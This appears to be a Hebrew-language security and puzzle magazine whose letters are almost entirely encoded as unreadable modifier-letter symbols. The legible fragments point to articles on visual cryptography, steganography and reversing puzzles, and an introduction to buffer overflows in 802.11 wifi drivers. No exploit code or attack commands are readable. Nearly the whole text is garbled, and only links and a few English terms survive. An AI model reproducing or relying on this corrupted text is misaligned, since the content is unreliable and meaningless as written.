¶  ˭ˬˣ˯ˬˢ ˵˪˥ˢ˵ˣ˶˧˟ - ˸˧ˡˣ˯ˢ ˢˮˣˬ˸ˢ ˢˮ˟ˬ ˸˪˧˥˸. 

˭˩ˬ ˶˥˞˪ˣ- ˪˰ ˢˮˣˬ˸ˢ ˳ˣ˪˧˥-˧˵ˮˣ ˷ˡ˥ ˳˟ˣ˵˪ ˰ˡ˧ˬˢ ˸˵˸˰ˢ ˧ˡ˧- ˧˲˞˶ˠ ˨˶ˣ˰˟ ˷ˡ˥ˢ ˳˟ˣ˵ˢ ˸˥˧˸˲ˣ. 

"˰˸˞ˤ ˢ˪ˣ˰˲˟ ˷ˣˬ˧˷ ˧ ,˨˶ˣ˰˟ ˳˟ˣ˵ˢ ˸˞ ˣ˥˸˲˧ ˫ˢ˟ ˫˧˶˵ˬˢ ˪˰ ˶˟ˠ˸ˢ˪ ˡˣ˞ˬ ˸ˣ˪˵˟ ˪˩ˣˮ-˦˯˵˦ ,

˭˧˧ˡ˰ ˨˞ ,˞˟˥ˣˬ ˰ˡ˧ˬ ˭˞˩ ˷˧ ˭˩˞ ˧˩ ˸ˣ˪ˠ˪ ˢ˧˰˟ ˢ˧ˢ˸ ˞˪ ˭˞˩ ˫ˠ . ˸ˣ˞˶˪ ˶˷˲˞ ˡˣ˞ˬ ˸ˣ˪˵˟) ˧ˮˣ˸ˮ˟

˳˟ˣ˵ˢ ˥˲ˮ ˧ˮ˧˧˲˞ˬ ˪˰ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ( ˸ˣ˧ˢ˪ ˶ˣˬ˞ ˞ˣˢ˷ ˢˬˬ ˪ˣˡˠ ˶˸ˣ˧ ˢ˟˶ˢ ˳˟ˣ˵ˢ ˪ˡˣˠ ˧˩) ˪˰

˟ ˸ˣ˪˩˸˯ˢ ˧ˡ˧-Header ˣˬ˴˰ ˳˟ˣ˵ˢ ˪˷ (ˠ˴ˣˬ ˞˪ ˶˷˞ ˰ˡ˧ˬ ˣ˟ ˞˟˥ˣˬ ˧˩ ˭˧˟ˢ˪ ˨˩ˣ. 

˧ ˣˮ˞ ˭˞˩ˬ ˳˟ˣ˵ˢ ˧ˮ˧˧˲˞ˬˬ ˡ˥˞˟ ˰ˣˠ˲˪ ˢ˶ˣˬ˞ ˢˮ˧˞ ˸˧˸ˣ˩˧˞ ˸˧˲˶ˠˣˮˠ˦˯ ˢ˪ˣ˰˲ ˧˩ ˡˣˬ˪˪ ˫˧˪ˣ˩)˭ˣˠ˩- 

ˣ˪ˡˣˠ(- ˸ˣ˥˲˷ ˢˬ˩ ˣ˟ ˰ˣˠ˲˪ ˣ˞ .˶ˬˣ˞˷ ˢˬ , ˶˞˷ˢ˪ ˧ˡ˩˟˷"˫˧ˮ˧ˬ˞ " ˸˞ ˞˧˟˥ˢ˪ ˣˮ˧˪˰ ˶˸ˣ˧˷ ˢˬ˩

˟ ˟ˣ˸˩˷ ˢˬ ˸˞ ˱˵˷˧ ˭˩˞ ˳˟ˣ˵ˢ ˪˷ ˣˮ˩ˣ˸˷ ˨˩ ˰ˡ˧ˬˢ-Header ˣ˪˷. 

 

ˢˬ˧ˡ˵ ˡ˥˞ ˟˪˷ 

 

 ˣˮ˞˷ ˢˬ˟ ˫ˣˠ˲˪ ˣˮ˪ ˶ˣ˯˞˷ ˞ˣˢ ˭˞˩ˬ ˡˣˬ˪˪ ˫˧˪ˣ˩˧-Headers ˢˮˣˬ˸ˢ ˧˴˟˵ ˪˷ , ˭˸˧ˮ ˢ˧ˢ˧ ˨˩˷ ˧ˮ˲ˬ

 ˳˟ˣ˵˟ ˶˟ˣˡˬ ˧˩ ˭˧˟ˢ˪"ˡˣ˷˥" ,˟ ˧˸˷ˠ˲˷ ˸ˮ˧˧ˮ˰ˬ ˢˬˠˣˡˡ˥˞ ˫˧˦˯ˣ˲ˢ  ˠˣ˪˟˟"˵˧˧ˣˡˬ ˞˪ " ˧ˡˠ ˪˷

˪˞ˡˮ˯˩˳˧˟ˣ˶ '˸˞ˤ˩˷ ˸˧˲˶ˠˣˮˠ˦˯ ˢ˪ˣ˰˲˪ ˭˧˧ˮ˰ˬ ˢˮ˰ˬ ˸˸˪ ˢ˪ˣ˩˧ , ˸ˬˠˣ˲ ˞˪ ˶˷˞ ˸˧˲˶ˠˣˮˠ˦˯ ˢ˪ˣ˰˲

˳˟ˣ˵ˢ ˢˮ˟ˬ˟-  ˪˰ ˶˟ˡˬ ˦˯ˣ˲ˢ˭ˣ˧˰˶ ˶˧ˬ˷ ˧ˡ˰ˣ ˧ˮˣˬ ˶ˣ˞ˮ ˣˠ˧˴ˢ˷ . ˧ˮ˲ˬ ˧ˡˬ ˶˸ˣ˧ ˟˧˥˶˞ ˞˪ ˧ˮ˞ ˧ˡˠ˷

 ˣ˧˪˰ ˶ˣ˟˰˪ ˳˧˪ˬˬ ˧ˮ˞ˣ ˪˪˩ˢˬ ˞˴ˣ˧ ˭˲ˣ˞˟ ˸˞ˤ ˢ˷˰)ˠˣ˪˟ˢ ˪˪˩ ˪˰ ˸ˣ˧˪˪˩˟ˣ (˶˧˴˵˸ˢ ˸˞ ˭˸˞ ˵˶ ˢ˪˞: 

˸ˣˮˣ˷ ˸ˣˮˣˬ˸ ˧ˮ˷˪ ˣˮ˸ˣ˷˶˟ ˫˧˧˵ˢ ˫˧˧ˣ˯ˬ ˰ˡ˧ˬ ˵˪˥˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞ , ˶ˣ˴˧˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞˷ ˞ˣˢ ˭ˣ˧˰˶ˢ

 ˡ˶˲ˮ˟ ˢˮˣˬ˸ ˪˩ ˪˰ ˸ˣ˪˩˸˯ˢˬ˷ ˢˤ˩ ˟˴ˬˡ˧ˬ ˫ˣ˷ ˵˧˯ˢ˪ ˭˸˧ˮ ˢ˧ˢ˧ ˞˪ ˰ˣ˸ˣˬ˪˷˟ ˭˩ˣ˸ˢ ˧˟ˠ˪ , ˱˞ˣ

˨˩ˬ ˶˸ˣ˧-  ˭ˣˠ˩ ˧ˬ˧˦˧ˠ˪ ˭˩ˣ˸ ˸ˣ˞˶˪ ˪˩ˣˮ ˡ˶˲ˮ˟ ˢˮˣˬ˸ ˪˩ ˪˰ ˸ˣ˪˩˸˯ˢˬ˷ ˟˴ˬ˪ ˰˧ˠˢ˪ ˫˧ˮ˧˧ˮˣ˰ˬ ˣˮ˞

 ˶˥˞ ˧ˮˣ˧ˠˢ ˰ˡ˧ˬ) ˶ˣ˴˧ˮ ˞˪ ˨˩ˣ"ˡ˷˥ "˧˲˶ˠˣˮˠ˦˯ ˶ˬˣ˥˟ ˭˞˩ ˶˟ˣˡˬ ˧˩.( 

 

˫˶ˬ˞ˬ˟ ˣˠ˧˴ˢ ˧ˡ˰ˣ ˶ˣ˞ˮ˷ ˭ˣ˧˰˶ˢ ,ˢˮˣˬ˸ ˶ˣ˴˧˪ ˞ˣˢ , ˶˴ˣˮ ˢ˟ ˪˯˵˧˲ ˪˩ ˶˷˞ ˫˧ˮˣ˷ ˫˧˪˯˵˧˲ ˢ˰˟˶˞ˬ

 ˸ˣˮˣˬ˸ˢ ˭˧˟ ˣ˶ˤˣ˲˧˷) ˪ˡˣˠ˟ ˧˲ˣ˯ˢ ˶˴ˣ˸ˢ ˸ˮˣˬ˸˟ ˪˯˵˧˲ ˪˩˷ ˶ˬˣ˞˷ ˢˬ2x2 .( ˥˧ˮˮ˷˩˷ ˞ˣˢ ˭ˣ˧˰˶ˢ

 ˢ˧ˮ˷ˢ ˪˰ ˸˥˞ ˸ˣˮˣˬ˸ˢ ˸˞)˱ˣ˵˷ ˰˟˴˩ ˟˷˥˧˧ ˭˟˪ ˰˟˴˷ ˨˩˟ ˟˷˥˸ˢ˟ ( ˣ˶˴˧˷ ˫˧˪˯˵˲ˢ ˸˞ ˶˟˥ˮ

ˢˬ˪˷ˢ ˢˮˣˬ˸ˢ ˸˞ ,ˮˣˬ˸ˬ ˶˟ˡ ˡˣˬ˪˪ ˫˧˪ˣ˩˧ ˞˪ ˣˮ˞ ˸˞ˤ ˪˩˟ ˨˧˞ ˤ˞ ˢˮˣˬ˸ˢˬ ˧˴˥ ˸ˣ˥˲˪ ˪˰ ˸˥˞ ˢ

ˢˬ˪˷ˢ ? ˸˥˞ ˢˮˣˬ˸˟ ˫˧˵˧ˤ˥ˬ ˣˮ˞ ˶˷˞˩˷ ˧ˮ˲ˬ)˫˧˧ˮ˷ ˨ˣ˸ˬ (˫˪˷ ˪˯˵˲ ˫ˣ˷˟ ˫˧˵˧ˤ˥ˬ ˞˪ ˣˮ˞-  ˧˩

ˣˮ˶ˬ˞˷ ˣˬ˩ ,˧ˮ˷ˢ ˣ˵˪˥ ˸˞ ˫ˠ ˫˧˟˧˧˥ ˣˮ˞ ˫˪˷ ˪˯˵˲ ˶ˣ˴˧˪ ˧ˡ˩˟. 

http://www.gadial.net/?p=158
http://www.gadial.net/
http://www.wisdom.weizmann.ac.il/~naor/PUZZLES/visual_sol.html
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˷ˣˬ˧ˬˢ ˭˲ˣ˞˪ ˣ˧˷˩˰ˣ: 

˲ˢ ˸˞ ˟˧˩˶ˢ˪ ˧ˡ˩˟ ˢˮˣˬ˸ ˪˩˟ ˣˮ˸ˣ˞ ˷ˬ˷˪ ˫˧˪ˣ˩˧˷ ˫˧˪˯˵˲˪ ˢˬˠˣˡ˸˧˲ˣ˯ˢ ˢˮˣˬ˸˟ ˧˲ˣ˯ˢ ˪˯˵: 

 
)˶ˣ˵ˬ˟ :http://gadial.blogli.co.il/archives/163( 

 

"ˡ˥˞ ˣ˪˞˩ ˫˧˪˯˵˧˲ ˧ˮ˷ ˫˧˷ˮ ˫˞  ˧ˮ˷ˢ ˪˰)˱ˣ˵˷˩ ˷ˬ˷ˬ ˭˟˪˷˩ ,˭˟ˣˬ˩ ( ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞

ˢ˴˶ˮ˷ ˟˩˶ˢ ˪˩ ˦˰ˬ˩ ˪˟˵˪ .ˢˬˠˣˡ˪ , ˭˟˪ ˸˧˯˥˧ ˞ˣˢ ˪˞ˬ˷ˬ ˭ˣ˸˥˸ˢ ˪˯˵˧˲ˢ ˸˸) ˧˩

˭˟˪ ˣˮˬˬ ˧˴˥ .( ˣˬ˴˰ ˪˰ ˣ˸ˣ˞ ˥˧ˮˮ ˫˞) ˶ˬˣ˪˩-  ˧ˮˬ˧ˢ ˧˴˥ˢ ˪˯˵˧˲ ˣ˸ˣ˞˟ ˸ˣˮˣˬ˸ˢ ˧˸˷˟

˱ˣ˵˷ ˢ˧ˢ˧ ˧˪˞ˬ˷ˢˣ ˶ˣ˥˷˟ ˰ˣ˟˴ ˢ˧ˢ˧ ( ˣˬ˴˰ ˸˞ ˪˟˵ˮ- ˢ˷ˬ˸˧˯˥˧ ˭˟˪ ˢ˞˶ˮ ˭˧˧ˡ˰˷ ˣ .

˸˞ˤ ˸ˬˣ˰˪ ,˭˧ˬ˧ˬ ˣˮ˩˷ ˪˰ ˣ˸ˣ˞ ˥˧ˮˮ ˫˞ , ˶ˣ˥˷ ˧˪˞ˬ˷ˢˣ ˱ˣ˵˷ ˧ˮˬ˧ˢ ˣ˵˪˥˷ ˪˯˵˧˲ˢ- 

˭˧˦ˣ˪˥˪ ˶ˣ˥˷ ˞ˣˢ˷ ˪˯˵˧˲ ˪˟˵ˮ." 

)˶ˣ˵ˬ˟ ˦˦ˣ˴ :http://gadial.blogli.co.il/archives/163( 

 

˩˧ˬˤ ˪˷ ˷ˣˬ s,˸ˣ˞˟ˢ ˸ˣˮˣˬ˸ˢ ˧ˮ˷ ˸˞ ˸ˣ˞˶˪ ˶˷˲˞: 

       

http://gadial.blogli.co.il/archives/163
http://gadial.blogli.co.il/archives/163
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 ˢ˧ˮ˷ˢ ˪˰ ˸˥˞ ˭˸ˣ˞ ˟˧˴ˮ ˶˷˞˩)˟ˣ˷ ,˱ˣ˵˷ ˰˟˴˩ ˷ˬ˷ˬ ˭˟˪ ˰˟˴˷ ˨˩˟ ˟˷˥˸ˢ˟ ( ˢˮˣˬ˸ˢ ˸˞ ˪˟˵ˮ

ˢ˞˟ˢ: 

 

ˢ˸ˣ˞ ˣ˟˧˩˶ˢ˷ ˸ˣˮˣˬ˸ˢˬ ˢˢ˩ ˶˸ˣ˧ ˢ˟˶ˢ ˸˧˲ˣ˯ˢ ˢˮˣˬ˸ˢ ˧˩ ˟˪ ˫˧˷˪ ˭˸˧ˮ-  ˫˴˰˟ ˭˞˩ˣ˦˭ˣ˧˰˶ˢ ˭ˣˬ ,

 ˫˧˞˟ˢ ˫˧˪˯˵˲ˢ ˪˰ ˫˧˪˩˸˯ˬ ˣˮ˞ ˶˷˞˩)˶ˬˣˢ ˪˷ ˢˣˮˬ˸ˢ ˪˷ ˸˧˪˞ˬ˷ˢ ˢˮ˧˲ˢˬ ˣ˥˵˪ˮ  :( 

 
)ˢ˪ ˫˧˷ˬ˷ˬ ˫˧ˬˣˡ˞ˢ ˫˧ˣˣ˵ˢ ˢˡ˶˲˫ˮ˧˞ˣ ˡ˟˪˟ ˫˧˪˯˵˲ˢ ˭˧˟ ˸˧˶ˣ˵ˬˢ ˢˮˣˬ˸˟ ˫˧˰˧˲ˣˬ( 

˫˧˪˯˵˧˲ ˢˤ˧˞ ˸˰ˡ˪ ˨˶ˡ ˫ˣ˷˟ ˫˧˪ˣ˩˧ ˣˮˮ˞- ˮˢ ˫˧˪˯˵˲ˢ"˶˟ˡ ˪˷ ˣ˲ˣ˯˟ ˣ˟˧˩˶˧ ˪ . ˣˮ˪ ˭˸ˮ˧ˢ˟ ˫ˠ˷ ˨˩

˰ˡ˧ˬˢ ˪˷ ˣ˧˴˥- ˸˧˲ˣ˯ˢ ˢˮˣˬ˸ˢ ˧˟ˠ˪ ˰ˡ˧ˬ ˫ˣ˷ ˵˧˯ˢ˪ ˸˪ˣ˩˧ˢ ˣˮ˪ ˭˧˞. 
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ˢˮˣˬ˸ ˨ˣ˸˟ ˢ˴˶ˢ ˳˟ˣ˵ ˸˞˟˥ˢ. 

˩ ˡ˰ ˣˮ˧˞˶˷ ˢˬ ˧˲˪-s  ˰ˡ˧ˬˢ ˸˞ ˞˧˟˥ˢ˪ ˫˧˟˧˧˥ ˣˮ˞˨ˣ˸˟ ˢˮˣˬ˸ˢ ,˶ˬˣ˞˷ ˢˬ-  ˸˞ ˞˧˟˥ˢ˪ ˣˮ˧˪˰˷

˷ˬ˸˷ˬ˪ ˠ˴ˣ˧ ˞ˣˢ˷ ˨˩ ˰ˡ˧ˬˢ , ˷ˬ˸˷ˬˢ˷ ˢˤ˩ ˭˲ˣ˞˟ ˨˞) ˢ˪ˣ˰˲ ˢˮˣˬ˸˟ ˢ˰˴ˣ˟˷ ˨˩˪ ˰ˡˣˬ ˞˪ ˶˷˞

˸˧˲˶ˠˣˮˠ˦˯ (˶˸˯ˣˬ ˰ˡ˧ˬ˟ ˢ˲ˣ˴ ˭˩˞ ˞ˣˢ ˧˩ ˭˧˟ˢ˪ ˪˩ˣ˧ ˞˪. 

˭ˣ˧˰˶ˢ ˸˞ ˶˧˟˯ˢ˪ ˧ˡ˩˟ ,ˣ˟ ˫ˣ˵ˬˢˬ ˢˬˠˣˡˢ ˸˞ ˭˸˞ ˢˮˣ˷˞˶˪ ˢ˸ˣ˞ ˧˸˷ˠ˲-  ˧˶ˠ˸˞ ˶˸˞  Reversing 

-xStegano ˫˷˟ ˶˸ˣ˧˟ ˳˪ˬˣˬ- Ma's Reversing. 

ˢ˞˟ˢ ˢˮˣˬ˸˟ ˫˧˪˵˸ˮ ˣˮ˞ ˫˧˟˪˷ˢˬ ˡ˥˞˟: 

 

 ˶ˠ˸˞ˢˢˮˣˬ˸˟ ˸˞˟˥ˣˬˢ ˢˬ˯˧˯ˢ ˞˧ˢ ˢˬ ˸ˣ˪ˠ˪ ˭˟ˣˬ˩ ˞ˣˢ . ˭˧˧ˮˣ˰ˬ ˧ˮ˞˷ ˢˬ˪ ˸ˮ˧˧ˣ˴ˬ ˢˬˠˣˡ ˸˞ˤˣ

˶˧˟˯ˢ˪ . ˶˸ˣ˧˟ ˭˧˧ˮ˰ˬˢ ˵˪˥ˢ ˪˰ ˣˡ˵ˬ˸˸ ˫˸˞ ˶˷˧ ˢˮˣˬ˸ˢ ˸˞ ˞˧˟ˬ ˧ˮ˞ ˣ˟˷ ˶˷˵ˢˢ ˪˪ˠ˟˷ ˧˪ ˶ˣ˶˟

ˢ˟- ˢ˧ˤ˧ˣˣ˪˦˟ ˠ˴ˣˬˢ ˭˩ˣ˸ˢ ,˨˞ ,ˮˢ ˢˮˣˬ˸ˢ ˸˞ ˫˧˷ˠˣ˲ ˫˸˧˧ˢ ˫˞˷ ˧˪ ˶ˣ˶˟"˦ˣ˪˥˪ ˶˥˞ ˶˷˵ˢ˟ ˪˭˧- 

ˮˢ ˭˩ˣ˸˟ ˡ˵ˬ˸ˬ ˢ˧ˢ ˞˪ ˡ˥˞ ˱˞"˪- ˟ ˶˟ˣˡˬ ˧˶ˢ"˭˟˪ ˷˰˶ "˭˧˦ˣ˪˥˪ ˧ˬ˧˦˧ˠ˪. 

˸˞ˤ ˪˩˟ˣ ,ˢˤ˩˷ ˶ˠ˸˞˪ ˫˧˷ˠˮ ˨˧˞? 

 ˰ˣ˟˧˶ ˪˷ ˸ˣ˪ˣ˟ˠ ˫˧ˮˬ˯ˬ ˢˮˣ˸˥˸ˢ ˸˧ˮˬ˧ˢˣ ˢˮˣ˧˪˰ˢ ˸˧˪˞ˬ˷ˢ ˢˮ˧˲˟ ˫˧˶˲˯ˬˢ ˧ˡˬ˴) ˪˲ˣˮ ˢ˶˵ˬ˟˷

ˢ ˪˰ ˵ˣ˧ˡ˟-"˭˟˪ˢ ˷˰˶ "ˢ˧ˤ˧ˣˣ˪˦˟ (ï ˩ ˶ˣˬ˷˪ˣ ˨ˣ˸˥˪ ˷˧ ˣ˸ˣ˞-"Raw Files ." ˫˰ ˫˧˵˥˷ˬ ˶˲˯ˬ ˶˥˞˪

 ˳˟ˣ˵˪ ˶˧ˬˢ˪ ˷˧ ˳˟ˣ˵ˢ ˣ˸ˣ˞"COM "˳˧˶ˢ˪ˣ .ˣˮ˧ˬ˞˸ ˞˪ ˧˪ˣ˞ ˫˸˞-  ˸ˣ˧˶˞ˮ˧˟ ˸ˣˡˣ˵˲ ˦˯˟ ˶˟ˣˡˬ ˪˟˞

˨˯ˬˢ ˪˰ ˦˪˲ ˫˩˪ ˣˠ˧˴˧˷ .˶ˠ˸˞ˢ ˱ˣ˯ ˞˪ ˣˢˤ- ˶ˬ˞ˬˢ ˞˷ˣˮ ˞ˣˢ ˶ˠ˸˞ˢ ˞˪ ˪˟˞ .ˣ˩˟ˣ ˧˸˯ˮ˩ˮ ˞˪ ˢˮˣ

˫˧˦˶˲˪ ,ˡ˟˪ ˶ˠ˸˞ˢ ˸˞ ˶ˣ˸˲˪ ˭˧˧ˮˣ˰ˬ ˭˩˷ ˧ˬ˪ ˯ˣ˶ˢ˪ ˞˪ ˧ˡ˩˟. 

ˮˢ ˢˬˠˣˡˢˬ ˡˣˬ˪˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˢˬ"˪? 

http://3564020356.org/
http://en.wikipedia.org/wiki/Raw_image_format
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ˢˮˣˬ˸ˢ ˦ˬ˶ˣ˲ ˪˰ ˪˩˸˯ˮ ˫˞˷ ˟˪ ˣˬ˧˷- ˸ˣˠ˧˶˥ ˸ˣˬ˧˧˵ ˧˩ ˭˧˥˟ˮ ˞˪-  ˦ˬ˶ˣ˲˟ ˸ˣˠ˧˶˥ ˫ˣ˷ ˭˧˞˷ ˧ˮ˲ˬ

˳˟ˣ˵ˢ ,˶˥˞ ˪˯˵˧˲ ˪˩ ˣˬ˩ ˵ˣ˧ˡ˟ ˷ˬ˸˷ˬ˪ ˠ˴ˣˬ ˭˩ˣ˸ˢ. 

 

˪˰ ˱˯ˣˮ˟ ˨˩ ,ˡ˧˷˥ˬ ˫˶ˣˠ ˫ˣ˷ ˢˣˣˢˬ ˞˪ ˠ˴ˣˬˢ ˭˩ˣ˸ˢ-  ˧˦ˮˣˣ˪˶ ˫ˣ˵˧ˬ˟ ˠ˴ˣˬ ˞ˣˢ˷ ˧ˮ˲ˬ")˭˟˪ ˷˰˶ "

 ˢ˧ˤ˧ˣˣ˪˦ ˪˷ ˸˶ˠ˯ˬ ˨ˣ˸˟- ˭˧˦ˣ˪˥˪ ˧ˬ˧˦˧ˠ˪ (ˢ˟ˣ˦ ˸˧˲˶ˠˣˮˠ˦˯ ˢˮˣˬ˸˟ ˶˟ˣˡˬ ˭˩ ˪˰ˣ. 

 

 

˫ˣ˩˧˯ 

 

˶ˬ˞ˬˢ ˸˞˧˶˵ˬ ˫˸ˮ˟ˢ˷ ˣˬ˩ ,˧˪˞ˣˤ˧ˣ ˭˩ˣ˸˟ ˰ˡ˧ˬ ˞˧˟˥ˢ˪ ˭˸˧ˮ ˭ˢ˟ ˸ˣ˦˧˷ˢ ˸ˣ˟˶ , ˟˶ ˶˲˯ˬ

ˣˡˢˬ˧˪˦˧ˠ˧ˡˢ ˫˪ˣ˰˪ ˳ˣ˥ˬ ˫˷˧˧˪ ˱˞ ˭˸˧ˮ ˸ˣ˞ˬˠ , ˭˩ˣ˸˟ ˰ˡ˧ˬ ˸˞˟˥ˢ˪ ˸ˣ˟˶ ˸ˣ˦˧˷ ˡˣ˰ ˭ˮ˷˧˷ ˭˟ˣˬ˩

˭˞˩ ˶ˣ˴˰˞ ˧ˮ˞ ˪˟˞ ˥˪˴ˣˬ ˭˲ˣ˞˟ ˧˸ˣˤ˥. 
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Wifi Drivers Buffer Overflow  ˥˦˷˟ ˸˧˶˧ˣˣ˞ ˢˬ˥ˣ˪

˧ˣˮ˟. 
˸˞ˬ  ˧˪˧ˤ˶˟ ˟˧˟˞ 

˸˰ˡ ˧ˣ˪˧ˠ :˶ˬ˞ˬˢˬ ˢ˞˴ˣ˸˩ ˫˶ˠ˧˷ ˵ˤˮ ˪˩ ˪˰ ˧˞˶˥˞ ˶ˬ˞ˬˢ ˟˸ˣ˩ ˭˧˞  ˫˧˞ˣ˲˶ ˫˧˵ˤˮ ˸ˣ˟˶˪

 ˪˷ ˫˧˶ˣˡ˧˷ˬ ˢ˞˴ˣ˸˩ ˫˧ˬ˶ˠˮˢ802.11. 

 

˞ˣ˟ˬ 

 

˟˵˰ ˸ˣ˧˦ˣ˥˪˞ˢ ˸ˣ˸˷˶˟ ˷ˣˬ˧˷ˢ ˸ˣ˦˷˲˸ˢ,  ˣˮ˪˷ ˫˧˟˷˥ˬ˪ ˷ˡ˥ ˢˮ˩˯ ˶ˣˤ˞ ˱˯ˣˮ- ˢ ˸˷˶-802.11. 

˸ˣ˟˶ ˸ˣ˷˪ˣ˥ ˣˬ˯˶˲˸ˢ ˣˬ˯˶˲˸ˢ ,˸ˣ˰ˠˣˮˢ ˣ˪˞˩ ˸˷˶ˢ ˪˷ ˢˮ˲˴ˢˢ ˸˶˧˟˷˪ , ˸ˣ˪˧˟˥ ˪˷ ˢ˵˶ˤˢ˪

˸˷˶ˢ ˨ˣ˸˪, ˪ˢ ˸ˣ˧ˢ˪ ˸˪ˣ˩˧-Access Point ˧ˡ˧ ˪˰ ˢ ˧ˣˮ˧˷-MAC ˸ˣ˟˶ ˸ˣ˷˪ˣ˥ˣ ˸ˣ˲˯ˣˮ  ˸ˣ˰˟ˣˮˢ

ˢ ˸ˣ˸˷˶ ˪˷ ˪ˡˣˬˢˬ-802.11. 

 

˫˧˧˵ ˡ˴ ˱˯ˣˮ ˸ˣ˷˪ˣ˥ ˪˷ ˡˮ ˭ˢ˧˪˰˭ˣ ˭˞˩ ,˸ˮ˩˸ˬ˟ ˞˪˞ ˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣ˧ˣ˪˸ ˭ˮ˧˞˷ ˣ˪˞˩ .˰ˣˡ˧˩ ,˶ˡˢ˧ ˶˟˧

ˣˮ˪˷ ˸˷˶ˢ ˯˧˦˶˩ ˪˷,  ˣˬ˩˸˶˷ ˪˩/˪˧ˠ˶ ˦ˮ˧˧˪˵, ˩˪ˣ ˸ˣ˪˧˟˥ ˪˰ ˶ˣ˯˶˧˲ ˸ˣ˪ˣ˰˲ ˰˴˟ˬ ˣˮ˩˸˧ ˣ˟ ˫ˠ ˭

 ˧˸˶˷ ˪˷ ˡˣ˵ ˸ˣ˷˪ˣ˥˪ ˢˬˣˡ˟ ˸ˣ˷˪ˣ˥HTTP\FTP\SSH .˭˞˩˷ ˞ˣˢ ˭ˣ˶˯˥ˢ, ˪˰  ˣˮ˞ ˸˶ˣ˷˵˸ ˰˴˟˪ ˸ˮˬ

 ˫ˣ˵ˬ ˸˟˶˵˟ ˸ˣ˧ˢ˪ ˫˧˟˧˧˥)ˮ˞ˣ ˢˡ˧ˬ˟ x˫˧˪˞ˮˣ˧˴ˮ˟ˮˣ˵ ˫˧˰˴ˬ˞˟ ˫˧˷ˬ˸˷ˬ( .˸˞ˤ ˸ˬˣ˰˪,  ˞ˣˢ ˭ˣ˶˸˧ˢ

˷˪ˮ˶˵˟ ˡˣ˵ ˸˴˶ˢ ˸ˣ˶˷˲˞ˬ ˣ˪˞ ˸ˣ˷˪ˣ˥,  ˢ˷˪ˣ˥ ˪˴ˮ˪ ˣˮ˥˪˴ˢˣ ˢˡ˧ˬ˟˷ ˨˩ ˸˞ˤ˩ ˪˟˵ˮ ˢ˞˪ˬ ˢ˦˧˪˷

˸ˣˢˣ˟ˠ ˧˩ˢ ˸ˣ˞˷˶ˢ˟ ˱˵˸ˮˢ ˟˷˥ˬˢ ˪˰.  

 

 ˢˤ ˶ˬ˞ˬ˟ˢ ˸ˣ˷˪ˣ˥˟ ˡ˵ˬ˸ˮ-Buffer Overflow ˸ˣ˶˩ˣˬˢ , ˸ˣ˷˪ˣ˥ ˞ˣ˴ˬ˪ ˦ˣ˷˲ ˞˪ ˣˮ˧ˬ˧˟˷ ˧˲ ˪˰ ˱˞

ˣ˪˞˩ ,˫ˣ˷ˬ ˸ˣ˰ˡˣˬ˷ ˫˶˸ˣ˧ ˢ˪ˣˡˠ ˭ˢ˧˪˞ ˫˧˸ˮ˩˸ˬ ˪˷, ˫ˣ˷ˬ  ˭ˬ˴˰ ˸˞ ˸ˣˡ˟˩ˬ˷ ˸ˣ˶˟˥˷ ˸ˣ˶˩ˣ˷

˞ ˸ˣ˵ˡˣ˟˷ ˰ˡ˧ˬ ˸˥˦˟˞ ˸ˣ˶˟˥ˡˣ˵ˢ ˸,  ˸ˣ˧˴˵ˮˣ˲˟ ˷ˣˬ˧˷ ˪˰ ˫˧˰˧˶˸ˬ ˶˟˩ ˫˧˶˪˧˲ˬˣ˵ˢ˷ ˪˪ˠ˟ ˫ˠˣ

 ˸ˣˮ˩ˣ˯ˬ . 

 

˭˲ˣ˞ ˪˩˟,  ˢ˞˶ˮ ˞˪ ˧˩ˢ˥˦˟˞˟ ˧ˡ˧ˬ ˶˸ˣ˧ ˸ˣ˰˧˵˷ˬ ˸ˣ˶˟˥ , ˧˪ˣ˞˫ˣ˷ˬ  ˣ˞˴ˬˮ˷ ˸ˣ˷˪ˣ˥ˢ ˸ˣˬ˩˷

˶ˡ˟˧ ˫˧˶˟˧ ˭˧˧ˡ˰ˣ˞ ˵˧˲˯ˬ ˢ˪ˣˡˠ ˞˪ ˧˪ˣ˞  ˸ˣ˞ˣ˶ ˞˪ ˭ˢ ˭˩˪ˣ ˸ˣ˧ˬˣ˵ˬ ˸ˣ˧ˢ˪ ˸ˣ˟˧˧˥ ˸ˣ˲˧˵˸ˢ˷ ˪˪ˠ˟˨˩˟ 

 ˢˮ˩˯˸˧˷ˬˬ, ˞ ˨˩ ˭˧˟ xsˢ˩, ˪ˮ˶˵ˢ ˸ˬ˶˟ ˢ˞˪ˬ ˢ˷˧ˠ ˸ˣ˶˷˲˞ˬˢ ˸ˣ˧˦˧˶˵ ˸ˣ˷˪ˣ˥ ˭ˢ ˸ˣ˷˪ˣ˥ˢ .

˪˩ˣˮ˷ ˞˧ˢ ˶˟ˡˢ ˸ˣ˰ˬ˷ˬ ˣˮ˥ˣ˶ ˪˰ ˢ˪ˣ˰ˢ ˪˩ ˦˰ˬ˩ ˸ˣ˷˰˪. 
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˧˪˪˩ ˭˲ˣ˞˟ , ˭˸˧ˮ˧˶ˡˢ ˧ˠˣ˯ ˪˩˪ ˢ˰˧˶˧ˢ ˸˞ ˟˧˥˶ˢ˪˧ ˫˧˶˟ˢˣˮ˪ ˫˧˶˷˲˞ˬ, ˫˧˷ˬ˸˷ˬ ˶ˣ˸˟, 

˶˦ˮ˧˞˞˫˸˧˞ ˢ˶˧˷˧ ˢ˧˴˵. ˷ ˭˟ˣˬ˩ˢ˧˰˟ ˫˧˧˞ˬ ˶˟ˡ˸ˣ˷ˡ˥ ˸ˣ˧ˠˣ˪ˣˮ˩˦ ˪˰ ˶˵,  ˶ˤˣ˰ ˦˪˥ˢ˟˷ ˢˬ

ˣˮ˧ˬ˧˟ ˫ˠ ˸ˣ˧˦ˮˣˣ˪˶ ˶˞˷ˢ˪ ˡˣ˵ˢ ˸ˣ˷˪ˣ˥˪. 

